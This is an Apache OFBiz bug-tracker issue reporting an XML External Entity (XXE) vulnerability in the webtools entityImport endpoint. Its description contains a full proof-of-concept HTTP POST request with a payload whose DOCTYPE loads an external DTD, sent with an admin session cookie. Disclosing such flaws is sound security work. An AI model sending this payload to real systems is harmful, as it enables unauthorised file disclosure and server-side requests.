Uploaded image for project: 'OFBiz'
  1. OFBiz
  2. OFBIZ-1525 Issue to group security concerns
  3. OFBIZ-12304

Found a new XXE (XML External Entity Injection) vulnerability in EntityImport

    XMLWordPrintableJSON

Details

    • Important
    • Bug Crush Event - 21/2/2015

    Description

      The http packet is as follows:

      POST /webtools/control/entityImport HTTP/1.1
      Host: 127.0.0.1:8443
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:91.0) Gecko/20100101 Firefox/91.0
      Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,/;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate
      Referer: https://127.0.0.1:8443/webtools/control/EntityImport
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 174
      Origin: https://127.0.0.1:8443
      Connection: close
      Cookie: JSESSIONID=BC833071F17F30BE022A7D44A5BB78C5.jvm1; OFBiz.Visitor=10103; CookiePreferences=[]; login_username=admin; login_nickname=admin; UM_distinctid=178a633ad075a3-0853063891be59-445b6f-13c680-178a633ad087e9; displayTagDiv=false; Hm_lvt_e325e60ca4cd358f2b424f5aecb8021a=1621261771; careyshop-1.8.4-uuid=admin; careyshop-1.8.4-block=false
      Upgrade-Insecure-Requests: 1
      Sec-Fetch-Dest: document
      Sec-Fetch-Mode: navigate
      Sec-Fetch-Site: same-origin
      Sec-Fetch-User: ?1

      fulltext=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE Quan SYSTEM "http://127.0.0.1:12311/vlab.dtd"><xml-body></xml-body>

       

      Attachments

        Activity

          People

            jleroux Jacques Le Roux
            thiscodecc thiscodecc
            Votes:
            0 Vote for this issue
            Watchers:
            3 Start watching this issue

            Dates

              Created:
              Updated:
              Resolved: